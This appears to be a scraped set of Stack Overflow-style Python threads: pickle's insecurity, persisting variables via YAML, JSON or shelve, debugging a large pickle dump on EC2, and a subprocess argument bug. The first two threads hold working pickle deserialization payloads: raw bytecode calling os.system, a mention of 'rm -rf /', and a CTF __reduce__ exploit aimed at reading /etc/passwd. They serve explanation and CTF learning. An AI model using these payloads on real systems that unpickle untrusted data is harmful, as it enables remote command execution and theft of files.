From the python docs for pickle :
Warning The pickle module is not secure. Only unpickle data you trust.
What would be an example of pickling and then un-pickling data that would do something malicious? I've only ever used pickle to save objects that don't necessarily json encode well (date, decimal, etc.) so I don't have much experience with it or what it's capable outside of being a "simpler json" encoder.
What would be an example of something malicious that could be done with it?
Like Chase said, functions can be executed by unpickling. According to this source: https://intoli.com/blog/dangerous-pickles/, pickled objects are actually stored as bytecode instructions which are interpreted on opening (similar to Python itself). By writing pickle bytecode, it's possible to make a pickle "program" to do anything.
Here I made a pickle program to run the bash command say "malicious code", but you could run commands like rm -rf / as well.
I saved the following bytecode to a file:
c__builtin__
exec
(Vimport os; os.system('say "malicious code"')
tR.
and then unpickled it with:
import pickle
loadfile = open('malicious', 'rb')
data = pickle.load(loadfile)
I immediately heard some "malicious code".
Related
Im trying to perform a cPickle deserialization for a CTF. Im working on an exploit for a deserialization vuln, trying to generate a python class that will run a command on a server when deserialized, following this example: https://lincolnloop.com/blog/playing-pickle-security/
import os
import cPickle
# Exploit that we want the target to unpickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('ls',))
shellcode = cPickle.dumps(Exploit())
print shellcode
The thing is that the server I'm trying to exploit doesn't have the "os" or the "subprocess" modules included, so I'm not able to run shell commands. I'm trying to read local files with objects generated with the following code:
class Exploit(object):
def __reduce__(self):
data = open("/etc/passwd", "rb").read()
return data
shellcode = cPickle.dumps(Exploit()) print shellcode
but when i try to run it to generate the payload, it tries to read my local /etc/passwd file and fails with the error message:
shellcode = cPickle.dumps(Exploit())
cPickle.PicklingError: Can't pickle <main.Exploit object at
0x7f14ef4b39d0>: attribute lookup main.root:x:0:0:root:/root:/b
in/sh (/etc/passwd continues)
When I run the first example, it generates the following pickle succesfully (and doesnt try to do an ls on my machine):
cposix
system
p1
(S'ls'
p2
tp3
Rp4
.
So why is it not working with my code?
"Whenever you try to pickle an object, there will be some properties that may not serialize well. For instance, an open file handle In this cases, pickle won't know how to handle the object and will throw an error."
What's the exact usage of __reduce__ in Pickler
I have a Python script that runs 24hrs a day.
A module from this script is using variables values that I wish to change from time to time, without having to stop the script, edit the module file, then launch the script again (I need to avoid interruptions as much as I can).
I thought about storing the variables in a separate file, and the module would, when needed, fetch the new values from the file and use them.
Pickle seemed a solution but is not human readable and therefore not easily changeable. Maybe a JSON file, or another .py file I import over again ?
Another advantage of doing so, for me, is that in case of interruption (eg. server restart), I can resume the script with the latest variable values if I load them from a separate file.
Is there a recommended way of doing such things ?
Something along the lines :
# variables file:
variable1 = 10
variable2 = 25
# main file:
while True:
import variables
print('Sum:', str(variable1+variable2))
time.sleep(60)
An easy way to maintain a text file with variables would be the YAML format. This answer explains how to use it, basically:
import yaml
stream = open("vars.yaml", "r")
docs = yaml.load_all(stream)
If you have more than a few variables, it may be good to check the file descriptor to see if the file was recently updated, and only re-load variables when there was a change in the file.
import os
last_updated = os.path.getmtime('vars.yaml')
Finally, since you want avoid interruption of the script, it may be good to have the script catch any errors in the YAML file and warn the user, instead of just throwing an exception and die. But also remember that "errors should never pass silently". What is the best approach here would depend on your use-case.
I'm a newbie to python and programming, so this might be easy, but I couldn't find a suitable answer anywhere. I'm trying to do the following. I would like to have a module with a couple of variables in a module that should be modified by my main module.
Additionally it is not clear from the beginning, if the module with the variables and the variable already exists.
At the moment I'm doing the following:
# test2.py
import os
# creates module test1
if os.path.isfile('test1.py') and os.path.getsize('test1.py') > 8:
pass
else:
txt = open('test1.py','w')
txt.write('testvar = {}')
txt.close()
import test1
testvar = test1.testvar
My testmodule looks as follows:
# test.py
import test2
testvar = test2.testvar
# now modify testvar
txt = open('test1.py','w')
txt.write('testvar = '+repr(testvar))
txt.close()
This works, if run test.py in python but it has the drawback, that I need a separate module for any testvar-like variable. I would prefer if I could have a single module with many such variables and use some sort of test1.testvar.update(entry)-method to change the variable.
Furthermore, if I create an exe-file using py2exe the application doesn't recognise the testvar-variable. So there is a further problem in this method.
The reason why I want all this is to change the variable during many different runs of the programme.
Thank you for any suggestions.
You're trying to use Python to dynamically create new Python code, which you then load into your original program and execute...?
This is a recipe for many kinds of major and minor disasters. Don't do this.
If you need to store data in a persistent way from one run of a program to another, there are many good ways to do it. Python's standard shelve module is a very easy way to do it. You basically just open a file and immediately start using it like a dict object which can store (almost) anything else.
import shelve
sh = shelve.open("myshelf")
sh["foo"] = (1,2,3,4)
sh["bar"] = "I like spam"
sh.close()
sh = shelve.open("myshelf")
print sh["foo"]
print sh.keys()
UPDATE: If you want human-readable output files, try using the widely-used JSON serialization format instead.
Unlike shelf, json module requires you to explicitly save and restore a dictionary object.
The JSON format cannot serialize as many data types as shelf without extra code. For example, it can serialize dict/list, but it can't serialize set and will change a tuple to a list.
Same thing using JSON. Notice that the tuple sh["foo"] comes back as a list when it gets serialized and deserialized:
import json
# Load sh from JSON file or create a new dictionary if it doesn't exist
try:
sh = json.load( open("storage.json","r") )
except IOError:
sh = {}
sh["foo"] = (1,2,3,4)
sh["bar"] = "I like spam"
# Save sh to JSON file
json.dump( sh, open("storage.json","w") );
# Reload it
sh = json.load( open("storage.json","r") )
print sh["foo"]
print sh.keys()
I'm doing a calculation on EC2 using python and when I try to dump a pickle file containing a dictionary, the program just exists, no error notice or anything. The file is large, around 1 gig, but everything works fine on my laptop, just not on EC2. I'm using an m3.large instance with an attached EBS volume with plenty of space. In the following code snippet, it prints out "dumping now" and then.....nothing, no "dumping complete". No error is caught by 'except'. When I try to load the pickle file I get an EOF Error.
Thanks for any advice!
try:
fp = open(pickleFile,"wb")
print 'dumping now'
pickle.dump(dataDict, fp)
print 'dumping complete'
fp.close()
except:
fp = open('/Users/thisUser/Data/report.txt','w')
fp.write('error writing pickle file')
fp.close()
Especially if you're debugging file IO, try not to have your debugging depend on said file IO. If there are any permissions or disk issues, you'll never know since the error message won't be able to write either.
Try running watch "ls -lh /your/file", then running your script, to see if the file writing stops suddenly, or is just continuing at a slow pace.
Try Ctrl-C if your script is hung and your watch looks static, and check out where in the traceback your function is spending its time.
Try pickling elements/keys of the dictionary individually--the pickling may be crashing on an individual complex element.
Try cPickle
Compare your versions at home and on ec2: import cPickle; print cPickle.__version__
Try different pickling versions.
I'm not sure which of these might help, but one of them might.
Here is my code:
#!/usr/bin/python
import subprocess
asciidoc_file_name = '/tmp/redoc_2013-06-25_12:52:19.txt'
asciidoc_call = ["asciidoc","-b docbook45",asciidoc_file_name]
print asciidoc_call
subprocess.call(asciidoc_call)
And here is the output:
labamba#lambada:~$ ./debug.py
['asciidoc', '-b docbook45', '/tmp/redoc_2013-06-25_12:52:19.txt']
asciidoc: FAILED: missing backend conf file: docbook45.conf
labamba#lambada:~$ asciidoc -b docbook45 /tmp/redoc_2013-06-25_12\:52\:19.txt
labamba#lambada:~$ file /tmp/redoc_2013-06-25_12\:52\:19.xml
/tmp/redoc_2013-06-25_12:52:19.xml: XML document text
labamba#lambada:~$ file /etc/asciidoc/docbook45.conf
/etc/asciidoc/docbook45.conf: HTML document, ASCII text, with very long lines
When called via python subprocess, asciidoc complains about a missing config file. When called on the command line, everything is fine, and the config file is there. Can anyone make sense out of this? I'm lost.
Try this:
asciidoc_call = ["asciidoc","-b", "docbook45", asciidoc_file_name]
the other call would call ascidoc with "-b docbook45" as one single option, which won't work.
The question is old... Anyway, the asciidoc is implemented in Python and it also includes the asciidocapi.py that can be used as a module from your Python program. The module docstring says:
asciidocapi - AsciiDoc API wrapper class.
The AsciiDocAPI class provides an API for executing asciidoc. Minimal example
compiles `mydoc.txt` to `mydoc.html`:
import asciidocapi
asciidoc = asciidocapi.AsciiDocAPI()
asciidoc.execute('mydoc.txt')
- Full documentation in asciidocapi.txt.
- See the doctests below for more examples.
To simplify, it implements the AsciiDocAPI class that--when initialized--searches for the asciidoc script and imports it behind the scene as a module. This way, you can use it more naturally in Python, and you can avoid using the subprocess.call().